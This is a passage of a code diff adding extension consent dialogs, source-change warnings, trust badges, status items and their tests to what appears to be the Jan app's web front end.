data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground"+ >+ <Checkbox.Indicator>+ <IconCheck size={12} />+ </Checkbox.Indicator>+ </Checkbox.Root>+ <Label htmlFor={checkboxId} className="text-xs">+ {t(+ fromIndex+ ? 'extensions:origin.trustSource'+ : 'extensions:origin.trustAuthor'+ )}+ </Label>+ </div>+ </div>+ )+}++/**+ * Warns when an update would replace the installed version with one from+ * another place, or drop the signature the installed version had: the+ * origin line alone says where the update is from, not that it changed.+ * A file replacing a file says nothing new; both are unverified already.+ */+function SourceChange({ staged }: { staged: StagedInstall }) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const from = staged.existing?.installedFrom+ if (!from) return null+ const name = localize(staged.manifest, staged.manifest.displayName)+ const next = staged.source+ const previous = from.source+ let warning: string | undefined+ if (next.kind === 'bundle' && previous.kind === 'index')+ warning = t('extensions:sourceChange.fileWasIndex', {+ name,+ previous: previous.sourceName,+ })+ else if (next.kind === 'index' && previous.kind === 'bundle')+ warning = t('extensions:sourceChange.indexWasFile', {+ name,+ next: next.sourceName,+ file: previous.fileName,+ })+ else if (next.kind === 'index' && previous.kind === 'index') {+ // By URL: removing and re-adding an index gives it a new id.+ if (next.url !== previous.url)+ warning = t('extensions:sourceChange.indexWasIndex', {+ name,+ next: next.sourceName,+ previous: previous.sourceName,+ })+ // Same index, but its key was dropped or the listing no longer verifies.+ else if (from.verified && !staged.verified)+ warning = t('extensions:sourceChange.unsigned', {+ name,+ previous: previous.sourceName,+ })+ }+ if (!warning) return null+ return (+ <p+ role="alert"+ className="rounded-md border border-amber-500/40 p-2 text-xs text-amber-600 dark:text-amber-400"+ >+ {warning}+ </p>+ )+}++export interface StagedDialogProps {+ staged: StagedInstall+ /** The index the bundle came from, for index installs. */+ sourceName?: string+ /** Called with every permission the manifest requests. */+ onConfirm: (granted: PermissionString[]) => void+ onCancel: () => void+ /** While the confirmation is in flight, nothing can be clicked. */+ busy?: boolean+}++/**+ * The frame both consent dialogs share: title, origin and trust gate,+ * and the footer. Consent is all-or-nothing, so confirming always grants+ * exactly what the manifest requests; `confirm_install` refuses less.+ */+export function StagedDialog({+ staged,+ sourceName,+ onConfirm,+ onCancel,+ busy = false,+ title,+ description,+ confirmLabel,+ children,+}: StagedDialogProps & {+ title: string+ description: string+ confirmLabel: string+ children: ReactNode+}) {+ const { t } = useTranslation()+ const [trusted, setTrusted] = useState(false)+ const canConfirm = !busy && (staged.verified || trusted)+ return (+ <Dialog open onOpenChange={(open) => !open && !busy && onCancel()}>+ <DialogContent>+ <DialogHeader>+ <DialogTitle>{title}</DialogTitle>+ <DialogDescription>{description}</DialogDescription>+ </DialogHeader>+ <SourceChange staged={staged} />+ <StagedOrigin+ staged={staged}+ sourceName={sourceName}+ trusted={trusted}+ onTrustedChange={setTrusted}+ />+ {children}+ <DialogFooter>+ <Button size="sm" variant="ghost" disabled={busy} onClick={onCancel}>+ {t('extensions:cancel')}+ </Button>+ <Button+ size="sm"+ disabled={!canConfirm}+ onClick={() => onConfirm([...staged.manifest.permissions])}+ >+ {confirmLabel}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ )+}diff --git a/web-app/src/containers/extensions/StatusItems.tsx b/web-app/src/containers/extensions/StatusItems.tsxnew file mode 100644index 000000000..e17f36035--- /dev/null+++ b/web-app/src/containers/extensions/StatusItems.tsx@@ -0,0 +1,98 @@+import { useMemo } from 'react'+import type { StatusItemContribution } from '@janhq/extension-api'+import {+ Tooltip,+ TooltipContent,+ TooltipTrigger,+} from '@/components/ui/tooltip'+import { SidebarFooter } from '@/components/ui/sidebar'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useContributions } from '@/lib/extensions/contributions'+import { useLocalize } from '@/lib/extensions/l10n'+import { cn } from '@/lib/utils'+import { useExecuteCommand } from './useExecuteCommand'++interface StatusEntry {+ extensionId: string+ extensionName: string+ item: StatusItemContribution+}++/**+ * The sidebar footer row of status items contributed by extensions, highest+ * priority first; absent when there are none. Each one+ * names its extension in the tooltip; one with a command runs it on click.+ */+export function StatusItems({ className }: { className?: string }) {+ const { t } = useTranslation()+ const execute = useExecuteCommand()+ const extensions = useContributions((s) => s.extensions)+ const statusItems = useContributions((s) => s.statusItems)+ const localize = useLocalize()++ const entries = useMemo(+ () =>+ Object.entries(statusItems)+ .flatMap(([extensionId, items]): StatusEntry[] => {+ const extension = extensions[extensionId]+ if (!extension) return []+ return Object.values(items).map((item) => ({+ extensionId,+ extensionName: localize(extension, extension.displayName),+ item: {+ ...item,+ text: localize(extension, item.text),+ tooltip:+ item.tooltip === undefined+ ? undefined+ : localize(extension, item.tooltip),+ },+ }))+ })+ .sort((a, b) => (b.item.priority ?? 0) - (a.item.priority ?? 0)),+ [extensions, statusItems, localize]+ )++ if (entries.length === 0) return null+ return (+ <SidebarFooter+ className={cn('flex-row flex-wrap items-center gap-1', className)}+ data-testid="extension-status-items"+ >+ {entries.map(({ extensionId, extensionName, item }) => {+ const { command } = item+ const label = t('extensions:statusItemTooltip', {+ text: item.tooltip ?? item.text,+ extension: extensionName,+ })+ return (+ <Tooltip key={`${extensionId}/${item.id}`}>+ <TooltipTrigger asChild>+ <button+ type="button"+ aria-label={label}+ onClick={+ command+ ? () =>+ void execute(extensionId, command, {+ location: 'statusItem',+ })+ : undefined+ }+ className={cn(+ 'max-w-40 truncate rounded px-1.5 py-0.5 text-xs text-muted-foreground',+ command+ ? 'cursor-pointer hover:bg-sidebar-foreground/8'+ : 'cursor-default'+ )}+ >+ {item.text}+ </button>+ </TooltipTrigger>+ <TooltipContent side="top">{label}</TooltipContent>+ </Tooltip>+ )+ })}+ </SidebarFooter>+ )+}diff --git a/web-app/src/containers/extensions/TrustBadge.tsx b/web-app/src/containers/extensions/TrustBadge.tsxnew file mode 100644index 000000000..cf3c23b6f--- /dev/null+++ b/web-app/src/containers/extensions/TrustBadge.tsx@@ -0,0 +1,51 @@+import { useTranslation } from '@/i18n/react-i18next-compat'+import type { InstalledExtension } from '@/services/extensions/types'++const DANGER =+ 'bg-destructive/10 px-1 py-0.5 rounded text-destructive text-xs font-medium'+const MUTED =+ 'bg-foreground/10 px-1 py-0.5 rounded text-foreground/70 text-xs font-medium'+const WARNING =+ 'bg-amber-500/10 px-1 py-0.5 rounded text-amber-600 dark:text-amber-400 text-xs font-medium'++/** Marks a bundle nobody vouched for: installed from a file, not an index. */+export function UnverifiedBadge() {+ const { t } = useTranslation()+ return <span className={DANGER}>{t('extensions:origin.unverified')}</span>+}++/** Marks an index source with no pinned key: nothing signs its listing. */+export function UnsignedSourceBadge() {+ const { t } = useTranslation()+ return <span className={DANGER}>{t('extensions:origin.unsignedSource')}</span>+}++/**+ * How far an installed version can be trusted: verified by the key pinned+ * for its source, only integrity checked against an unsigned index (a+ * warning), or unverified (a file from disk).+ */+export function TrustBadge({+ entry,+}: {+ entry: Pick<InstalledExtension, 'verified' | 'integrityChecked' | 'source'>+}) {+ const { t } = useTranslation()+ if (entry.verified && entry.source.kind === 'index')+ return (+ <span className={MUTED}>+ {t('extensions:origin.verifiedBy', {+ source: entry.source.sourceName,+ })}+ </span>+ )+ // The SRI was chosen by the same unsigned index it was checked against,+ // so it says nothing about the author: never styled like "Verified by".+ if (entry.integrityChecked)+ return (+ <span className={WARNING}>+ {t('extensions:origin.integrityCheckedUnsigned')}+ </span>+ )+ return <UnverifiedBadge />+}diff --git a/web-app/src/containers/extensions/__tests__/ConsentDialog.test.tsx b/web-app/src/containers/extensions/__tests__/ConsentDialog.test.tsxnew file mode 100644index 000000000..0b1a920a6--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/ConsentDialog.test.tsx@@ -0,0 +1,336 @@+import { afterEach, describe, expect, it, vi } from 'vitest'+import { render, screen, within } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { staged } from '@/services/extensions/__tests__/mock'+import type { StagedInstall } from '@/services/extensions/types'+import { ConsentDialog } from '../ConsentDialog'+import { PermissionDiffDialog } from '../PermissionDiffDialog'++vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})++describe('ConsentDialog', () => {+ it('keeps Install disabled for an unverified bundle until the author is trusted', async () => {+ const onConfirm = vi.fn()+ render(+ <ConsentDialog+ staged={staged('acme.hello', ['ui:notify', 'tools'])}+ onConfirm={onConfirm}+ onCancel={vi.fn()}+ />+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent('Install Ext acme.hello?')+ expect(within(dialog).getByText('Unverified')).toBeInTheDocument()+ expect(dialog).toHaveTextContent('sha512-c3RhZ2Vk')+ expect(dialog).toHaveTextContent('Show notifications')+ expect(dialog).toHaveTextContent('Add tools for models')++ const install = within(dialog).getByRole('button', { name: 'Install' })+ expect(install).toBeDisabled()+ await userEvent.click(+ within(dialog).getByRole('checkbox', {+ name: 'I trust the author of this file',+ })+ )+ expect(install).toBeEnabled()+ await userEvent.click(install)+ expect(onConfirm).toHaveBeenCalledWith(['ui:notify', 'tools'])+ })++ it('names the source that verified an index install and needs no trust checkbox', async () => {+ const onConfirm = vi.fn()+ render(+ <ConsentDialog+ staged={staged('acme.hello', ['network:api.acme.dev'], {+ verified: true,+ integrityChecked: true,+ })}+ sourceName="Acme Index"+ onConfirm={onConfirm}+ onCancel={vi.fn()}+ />+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent('Verified by Acme Index')+ expect(dialog).toHaveTextContent('Integrity checked')+ expect(within(dialog).queryByText('Unverified')).toBeNull()+ expect(within(dialog).queryByRole('checkbox')).toBeNull()+ await userEvent.click(within(dialog).getByRole('button', { name: 'Install' }))+ expect(onConfirm).toHaveBeenCalledWith(['network:api.acme.dev'])+ })++ it('requires trusting an install from an unsigned source', async () => {+ const onConfirm = vi.fn()+ render(+ <ConsentDialog+ staged={staged('acme.hello', ['ui:notify'], {+ verified: false,+ integrityChecked: true,+ })}+ sourceName="Open Index"+ onConfirm={onConfirm}+ onCancel={vi.fn()}+ />+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent('From Open Index')+ expect(within(dialog).getByText('Unsigned source')).toBeInTheDocument()+ expect(within(dialog).queryByText('Unverified')).toBeNull()+ const install = within(dialog).getByRole('button', { name: 'Install' })+ expect(install).toBeDisabled()+ await userEvent.click(+ within(dialog).getByRole('checkbox', {+ name: 'I trust the author and this index',+ })+ )+ await userEvent.click(install)+ expect(onConfirm).toHaveBeenCalledWith(['ui:notify'])+ })++ it('says network:* includes every loopback host except the local API server', () => {+ render(+ <ConsentDialog+ staged={staged('acme.hello', ['network:*'])}+ onConfirm={vi.fn()}+ onCancel={vi.fn()}+ />+ )+ expect(screen.getByRole('dialog')).toHaveTextContent(+ "Includes servers on this computer on any port: localhost and 127.0.0.1 over http or https, other local addresses such as ::1 over https only. Jan's own local API server is always blocked."+ )+ })++ it('says a local host grant covers any port except the local API server', () => {+ render(+ <ConsentDialog+ staged={staged('acme.hello', ['network:localhost'])}+ onConfirm={vi.fn()}+ onCancel={vi.fn()}+ />+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent(+ "Covers every port of this host, over http or https, except Jan's own local API server, which is always blocked."+ )+ expect(dialog).not.toHaveTextContent('::1')+ })++ it('cancels without confirming', async () => {+ const onConfirm = vi.fn()+ const onCancel = vi.fn()+ render(+ <ConsentDialog+ staged={staged('acme.hello', [])}+ onConfirm={onConfirm}+ onCancel={onCancel}+ />+ )+ expect(screen.getByRole('dialog')).toHaveTextContent(+ 'It requests no permissions.'+ )+ await userEvent.click(screen.getByRole('button', { name: 'Cancel' }))+ expect(onCancel).toHaveBeenCalled()+ expect(onConfirm).not.toHaveBeenCalled()+ })+})++describe('ConsentDialog l10n', () => {+ afterEach(() => useGeneralSetting.setState({ currentLanguage: 'en' }))++ it('names the extension in the app language', () => {+ useGeneralSetting.setState({ currentLanguage: 'ja' })+ const pending = staged('acme.hello', [])+ pending.manifest = {+ ...pending.manifest,+ displayName: '%name%',+ l10n: { en: { name: 'Hello' }, ja: { name: 'Konnichiwa' } },+ }+ render(+ <ConsentDialog staged={pending} onConfirm={vi.fn()} onCancel={vi.fn()} />+ )+ expect(screen.getByRole('dialog')).toHaveTextContent('Install Konnichiwa?')+ })+})++describe('PermissionDiffDialog', () => {+ const update = staged('acme.hello', ['ui:notify', 'tools', 'providers'], {+ existing: { version: '0.9.0', granted: ['ui:notify', 'conversations:read'] },+ permissionDiff: {+ added: ['tools', 'providers'],+ removed: ['conversations:read'],+ },+ })++ it('asks only for the added permissions and lists removed ones as information', async () => {+ const onConfirm = vi.fn()+ render(+ <PermissionDiffDialog+ staged={update}+ onConfirm={onConfirm}+ onCancel={vi.fn()}+ />+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent('Update Ext acme.hello to 1.0.0?')+ const added = within(dialog).getByRole('list', {+ name: 'New permissions',+ })+ expect(added).toHaveTextContent('Add tools for models')+ expect(added).toHaveTextContent('Add model providers')+ // Already granted: not asked again.+ expect(dialog).not.toHaveTextContent('Show notifications')+ const removed = within(dialog).getByRole('list', {+ name: 'No longer needed',+ })+ expect(removed).toHaveTextContent('Read your conversations')++ await userEvent.click(within(dialog).getByRole('checkbox'))+ await userEvent.click(within(dialog).getByRole('button', { name: 'Update' }))+ // confirm_install needs every requested permission, not just the new ones.+ expect(onConfirm).toHaveBeenCalledWith(['ui:notify', 'tools', 'providers'])+ })++ it('cancel calls onCancel', async () => {+ const onCancel = vi.fn()+ render(+ <PermissionDiffDialog+ staged={update}+ onConfirm={vi.fn()}+ onCancel={onCancel}+ />+ )+ await userEvent.click(screen.getByRole('button', { name: 'Cancel' }))+ expect(onCancel).toHaveBeenCalled()+ })++ it('says when an update asks for nothing new', () => {+ render(+ <PermissionDiffDialog+ staged={{ ...update, permissionDiff: { added: [], removed: [] } }}+ onConfirm={vi.fn()}+ onCancel={vi.fn()}+ />+ )+ expect(screen.getByRole('dialog')).toHaveTextContent(+ 'This update asks for no new permissions.'+ )+ })++ const indexSource = (sourceId: string, sourceName: string) => ({+ kind: 'index' as const,+ sourceId,+ sourceName,+ url: `https://${sourceId}.dev/index.json`,+ tarball: `https://${sourceId}.dev/hello.tgz`,+ integrity: 'sha512-c3RhZ2Vk',+ })+ const fromSource = (+ next: StagedInstall['source'],+ previous: StagedInstall['source'],+ flags: { verified?: boolean; wasVerified?: boolean } = {}+ ): StagedInstall => ({+ ...update,+ verified: flags.verified ?? false,+ integrityChecked: next.kind === 'index',+ source: next,+ existing: {+ ...update.existing!,+ installedFrom: { source: previous, verified: flags.wasVerified ?? false },+ },+ })+ const renderUpdate = (s: StagedInstall) =>+ render(+ <PermissionDiffDialog staged={s} onConfirm={vi.fn()} onCancel={vi.fn()} />+ )++ it('warns when an update comes from another index than the installed version', () => {+ renderUpdate(+ fromSource(indexSource('b', 'Other Index'), indexSource('a', 'Acme Index'), {+ verified: true,+ wasVerified: true,+ })+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent('Verified by Other Index')+ expect(dialog).toHaveTextContent(+ 'This update comes from Other Index, but Ext acme.hello was installed from Acme Index.'+ )+ })++ it('warns when a file replaces a version installed from an index', () => {+ renderUpdate(+ fromSource(+ { kind: 'bundle', fileName: 'hello.tgz', sha512: 'sha512-c3RhZ2Vk' },+ indexSource('a', 'Acme Index'),+ { wasVerified: true }+ )+ )+ expect(screen.getByRole('dialog')).toHaveTextContent(+ 'This update is a file from disk, but Ext acme.hello was installed from Acme Index.'+ )+ })++ it('warns when an index update replaces a version installed from a file', () => {+ renderUpdate(+ fromSource(indexSource('a', 'Acme Index'), {+ kind: 'bundle',+ fileName: 'old.tgz',+ sha512: 'sha512-old',+ })+ )+ expect(screen.getByRole('dialog')).toHaveTextContent(+ 'This update comes from Acme Index, but Ext acme.hello was installed from the file old.tgz.'+ )+ })++ it('warns when an update of a signed install is not signed', () => {+ const acme = indexSource('a', 'Acme Index')+ renderUpdate(fromSource(acme, acme, { verified: false, wasVerified: true }))+ const dialog = screen.getByRole('dialog')+ expect(dialog).toHaveTextContent(+ 'Ext acme.hello was verified by the signing key of Acme Index, but this update is not signed.'+ )+ expect(dialog).not.toHaveTextContent('This update comes from')+ })++ it('does not warn for an update from the same source', () => {+ const acme = indexSource('a', 'Acme Index')+ renderUpdate(+ fromSource(acme, { ...acme, sourceId: 're-added' }, {+ verified: true,+ wasVerified: true,+ })+ )+ const dialog = screen.getByRole('dialog')+ expect(dialog).not.toHaveTextContent('This update')+ expect(dialog).not.toHaveTextContent('not signed')+ })++ it('does not warn for a file replacing a file', () => {+ renderUpdate(+ fromSource(+ { kind: 'bundle', fileName: 'hello.tgz', sha512: 'sha512-c3RhZ2Vk' },+ { kind: 'bundle', fileName: 'hello-old.tgz', sha512: 'sha512-old' }+ )+ )+ expect(screen.getByRole('dialog')).not.toHaveTextContent('This update is')+ })++ it('still requires trusting the author of an unverified update', async () => {+ render(+ <PermissionDiffDialog+ staged={update}+ onConfirm={vi.fn()}+ onCancel={vi.fn()}+ />+ )+ const button = screen.getByRole('button', { name: 'Update' })+ expect(button).toBeDisabled()+ await userEvent.click(screen.getByRole('checkbox'))+ expect(button).toBeEnabled()+ })+})diff --git a/web-app/src/containers/extensions/__tests__/ContributedMenuItems.test.tsx b/web-app/src/containers/extensions/__tests__/ContributedMenuItems.test.tsxnew file mode 100644index 000000000..5c71eb432--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/ContributedMenuItems.test.tsx@@ -0,0 +1,247 @@+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import { act, render, screen, waitFor } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ExtensionHost } from '@/lib/extensions/host'+import {+ DropdownMenu,+ DropdownMenuContent,+ DropdownMenuTrigger,+} from '@/components/ui/dropdown-menu'+import {+ ContributedMenuItems,+ ContributedOverflowMenu,+} from '../ContributedMenuItems'+import { createTestHost } from './harness'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))+const toastError = vi.hoisted(() => vi.fn())++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('sonner', () => ({ toast: { error: toastError } }))++let host: ExtensionHost+let activate: ReturnType<typeof createTestHost>['activate']++beforeEach(() => {+ const test = createTestHost()+ host = test.host+ activate = test.activate+ hostRef.current = host+ toastError.mockReset()+})++afterEach(async () => {+ await act(() => host.deactivateAll())+})++const messageMenus = {+ commands: [+ { id: 'explain', title: 'Explain' },+ { id: 'quote', title: 'Quote' },+ { id: 'pin', title: 'Pin' },+ ],+ menus: {+ 'message/actions': [+ { command: 'explain', when: 'message.role == assistant' as const },+ { command: 'quote', when: 'message.role == user' as const },+ { command: 'pin' },+ ],+ },+}++function OpenMenu({ children }: { children: React.ReactNode }) {+ return (+ <DropdownMenu open>+ <DropdownMenuTrigger>menu</DropdownMenuTrigger>+ <DropdownMenuContent>{children}</DropdownMenuContent>+ </DropdownMenu>+ )+}++describe('ContributedMenuItems', () => {+ it('shows registered items labelled with the extension and hides them after dispose', async () => {+ await act(() =>+ activate('acme.threads', 'Acme Threads', {+ commands: [{ id: 'summarize', title: 'Summarize' }],+ menus: { 'thread/context': [{ command: 'summarize' }] },+ })+ )+ render(+ <OpenMenu>+ <ContributedMenuItems+ location="thread/context"+ context={{ location: 'thread/context', threadId: 't1' }}+ />+ </OpenMenu>+ )+ const item = screen.getByRole('menuitem', { name: /Summarize/ })+ expect(item).toHaveTextContent('Acme Threads')++ await act(() => host.deactivateAll())+ expect(screen.queryByRole('menuitem', { name: /Summarize/ })).toBeNull()+ })++ it('runs the command with the thread context', async () => {+ const handler = vi.fn()+ await act(() =>+ activate(+ 'acme.threads',+ 'Acme Threads',+ {+ commands: [{ id: 'summarize', title: 'Summarize' }],+ menus: { 'chatInput/actions': [{ command: 'summarize' }] },+ },+ { summarize: handler }+ )+ )+ render(+ <OpenMenu>+ <ContributedMenuItems+ location="chatInput/actions"+ context={{ location: 'chatInput/actions', threadId: 't9' }}+ />+ </OpenMenu>+ )+ await userEvent.click(screen.getByRole('menuitem', { name: /Summarize/ }))+ await waitFor(() =>+ expect(handler).toHaveBeenCalledWith({+ location: 'chatInput/actions',+ threadId: 't9',+ })+ )+ })++ it.each([+ ['assistant', ['Explain', 'Pin']],+ ['user', ['Pin', 'Quote']],+ ] as const)(+ 'filters %s message actions by their when clause',+ async (role, expected) => {+ await act(() => activate('acme.msg', 'Acme', messageMenus))+ render(+ <OpenMenu>+ <ContributedMenuItems+ location="message/actions"+ context={{+ location: 'message/actions',+ threadId: 't1',+ messageId: 'm1',+ role,+ }}+ />+ </OpenMenu>+ )+ const titles = screen+ .getAllByRole('menuitem')+ .map((el) => el.firstChild?.textContent)+ expect(titles).toEqual(expected)+ }+ )++ it('hides thread.hasMessages items on a thread without messages', async () => {+ await act(() =>+ activate('acme.threads', 'Acme', {+ commands: [{ id: 'export', title: 'Export' }],+ menus: {+ 'thread/context': [{ command: 'export', when: 'thread.hasMessages' }],+ },+ })+ )+ render(+ <OpenMenu>+ <ContributedMenuItems+ location="thread/context"+ context={{ location: 'thread/context', threadId: 'empty' }}+ />+ </OpenMenu>+ )+ expect(screen.queryByRole('menuitem', { name: /Export/ })).toBeNull()+ })++ it('shows a toast when the command fails', async () => {+ await act(() =>+ activate(+ 'acme.threads',+ 'Acme Threads',+ {+ commands: [{ id: 'boom', title: 'Boom' }],+ menus: { 'thread/context': [{ command: 'boom' }] },+ },+ {+ boom: () => {+ throw new Error('kaput')+ },+ }+ )+ )+ vi.spyOn(console, 'error').mockImplementation(() => undefined)+ render(+ <OpenMenu>+ <ContributedMenuItems+ location="thread/context"+ context={{ location: 'thread/context', threadId: 't1' }}+ />+ </OpenMenu>+ )+ await userEvent.click(screen.getByRole('menuitem', { name: /Boom/ }))+ await waitFor(() =>+ expect(toastError).toHaveBeenCalledWith('Boom (Acme Threads) failed', {+ description: 'kaput',+ })+ )+ })+})++describe('ContributedOverflowMenu', () => {+ it('renders nothing without contributions', () => {+ const { container } = render(+ <ContributedOverflowMenu+ location="message/actions"+ context={{+ location: 'message/actions',+ threadId: 't1',+ messageId: 'm1',+ role: 'user',+ }}+ />+ )+ expect(container).toBeEmptyDOMElement()+ })++ it('opens the contributed message actions and runs one with ids only', async () => {+ const handler = vi.fn()+ await act(() =>+ activate('acme.msg', 'Acme', messageMenus, { explain: handler })+ )+ render(+ <ContributedOverflowMenu+ location="message/actions"+ context={{+ location: 'message/actions',+ threadId: 't1',+ messageId: 'm1',+ role: 'assistant',+ }}+ />+ )+ await userEvent.click(screen.getByRole('button', { name: 'More actions' }))+ await userEvent.click(+ await screen.findByRole('menuitem', { name: /Explain/ })+ )+ await waitFor(() =>+ expect(handler).toHaveBeenCalledWith({+ location: 'message/actions',+ threadId: 't1',+ messageId: 'm1',+ role: 'assistant',+ })+ )+ })+})diff --git a/web-app/src/containers/extensions/__tests__/ExtensionSettingsForm.test.tsx b/web-app/src/containers/extensions/__tests__/ExtensionSettingsForm.test.tsxnew file mode 100644index 000000000..e9b8883b8--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/ExtensionSettingsForm.test.tsx@@ -0,0 +1,114 @@+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import { act, render, screen, waitFor } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { SettingContribution } from '@janhq/extension-api'+import type { ExtensionHost } from '@/lib/extensions/host'+import { ExtensionSettingsForm } from '../ExtensionSettingsForm'+import { createTestHost } from './harness'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))++const settings: SettingContribution[] = [+ {+ key: 'endpoint',+ title: 'Endpoint',+ description: 'Where to send requests',+ control: { type: 'input', inputType: 'url', default: 'https://a.test' },+ },+ {+ key: 'apiKey',+ title: 'API key',+ secret: true,+ control: { type: 'input', default: '' },+ },+ {+ key: 'verbose',+ title: 'Verbose',+ control: { type: 'checkbox', default: false },+ },+]++let test: ReturnType<typeof createTestHost>+let host: ExtensionHost++beforeEach(async () => {+ test = createTestHost()+ host = test.host+ hostRef.current = host+ await test.activate('acme.form', 'Acme', { settings })+})++afterEach(async () => {+ await act(() => host.deactivateAll())+})++describe('ExtensionSettingsForm', () => {+ it('shows each setting with its stored value or default', async () => {+ await host.settings.setSettingValue(+ 'acme.form',+ 'endpoint',+ 'https://b.test'+ )+ render(+ <ExtensionSettingsForm extensionId="acme.form" settings={settings} />+ )+ expect(screen.getByText('Endpoint')).toBeInTheDocument()+ expect(screen.getByText('Where to send requests')).toBeInTheDocument()+ expect(+ await screen.findByDisplayValue('https://b.test')+ ).toBeInTheDocument()+ expect(screen.getByRole('switch')).not.toBeChecked()+ })++ it('writes through the settings store', async () => {+ const changes = vi.fn()+ host.settings.onDidChange(changes)+ render(+ <ExtensionSettingsForm extensionId="acme.form" settings={settings} />+ )+ await userEvent.click(screen.getByRole('switch'))+ await waitFor(() =>+ expect(changes).toHaveBeenCalledWith({+ extensionId: 'acme.form',+ key: 'verbose',+ value: true,+ })+ )+ expect(await host.settings.getSettingValue('acme.form', 'verbose')).toBe(+ true+ )+ expect(+ JSON.parse(+ test.appSettings.data.get('extension:acme.form:settings') ?? '{}'+ )+ ).toEqual({ verbose: true })+ })++ it('keeps a secret setting out of appSettings and masks it', async () => {+ render(+ <ExtensionSettingsForm extensionId="acme.form" settings={settings} />+ )+ const secret = document.querySelector<HTMLInputElement>(+ 'input[type=password]'+ )+ expect(secret).not.toBeNull()+ if (!secret) return+ await userEvent.type(secret, 'k')+ await waitFor(() =>+ expect(test.secrets.data.get('ext:acme.form:apiKey')).toBe('k')+ )+ expect(+ test.appSettings.data.get('extension:acme.form:settings')+ ).toBeUndefined()+ })+})diff --git a/web-app/src/containers/extensions/__tests__/SearchDialog.test.tsx b/web-app/src/containers/extensions/__tests__/SearchDialog.test.tsxnew file mode 100644index 000000000..43b2aa89d--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/SearchDialog.test.tsx@@ -0,0 +1,71 @@+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import { act, render, screen, waitFor } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ExtensionHost } from '@/lib/extensions/host'+import { SearchDialog } from '@/containers/dialogs/SearchDialog'+import { createTestHost } from './harness'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))++vi.mock('@/lib/extensions/host', async (importOriginal) => ({+ ...(await importOriginal<typeof import('@/lib/extensions/host')>()),+ getExtensionHost: () => hostRef.current,+}))+vi.mock('@/i18n/react-i18next-compat', async () => {+ const i18n = (await import('@/i18n/setup')).default+ return { useTranslation: () => ({ t: i18n.t, i18n }) }+})+vi.mock('sonner', () => ({ toast: { error: vi.fn() } }))+vi.mock('@tanstack/react-router', () => ({ useNavigate: () => vi.fn() }))++let host: ExtensionHost+let activate: ReturnType<typeof createTestHost>['activate']++beforeEach(() => {+ const test = createTestHost()+ host = test.host+ activate = test.activate+ hostRef.current = host+})++afterEach(async () => {+ await act(() => host.deactivateAll())+})++const contributes = {+ commands: [+ { id: 'hello', title: 'Say hello', category: 'Greeter' },+ { id: 'bye', title: 'Say bye' },+ ],+ menus: { commandPalette: [{ command: 'hello' }, { command: 'bye' }] },+}++describe('SearchDialog commands', () => {+ it('lists palette commands with their extension and hides them after dispose', async () => {+ await act(() => activate('acme.greeter', 'Acme Greeter', contributes))+ render(<SearchDialog open onOpenChange={() => undefined} />)+ expect(screen.getByText('Commands')).toBeInTheDocument()+ const hello = screen.getByRole('button', { name: /Greeter: Say hello/ })+ expect(hello).toHaveTextContent('Acme Greeter')+ expect(screen.getByRole('button', { name: /Say bye/ })).toBeInTheDocument()++ await act(() => host.deactivateAll())+ expect(screen.queryByText('Commands')).toBeNull()+ })++ it('filters commands by the query and runs the chosen one', async () => {+ const hello = vi.fn()+ const onOpenChange = vi.fn()+ await act(() =>+ activate('acme.greeter', 'Acme Greeter', contributes, { hello })+ )+ render(<SearchDialog open onOpenChange={onOpenChange} />)+ await userEvent.type(screen.getByRole('textbox'), 'hello')+ expect(screen.queryByRole('button', { name: /Say bye/ })).toBeNull()+ await userEvent.keyboard('{Enter}')+ await waitFor(() =>+ expect(hello).toHaveBeenCalledWith({ location: 'commandPalette' })+ )+ expect(onOpenChange).toHaveBeenCalledWith(false)+ })+})diff --git a/web-app/src/containers/extensions/__tests__/StatusItems.test.tsx b/web-app/src/containers/extensions/__tests__/StatusItems.test.tsxnew file mode 100644index 000000000..a8c194bdf--- /dev/null+++ b/web-app/src/containers/extensions/__tests__/StatusItems.test.tsx@@ -0,0 +1,105 @@+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import { act, render, screen, waitFor } from '@testing-library/react'+import userEvent from '@testing-library/user-event'+import type { ExtensionHost } from '@/lib/extensions/host'+import { StatusItems } from '../StatusItems'+import { createTestHost } from './harness'++const hostRef = vi.hoisted(() => ({ current: undefined as unknown }))+const toastError = vi.hoisted(() => 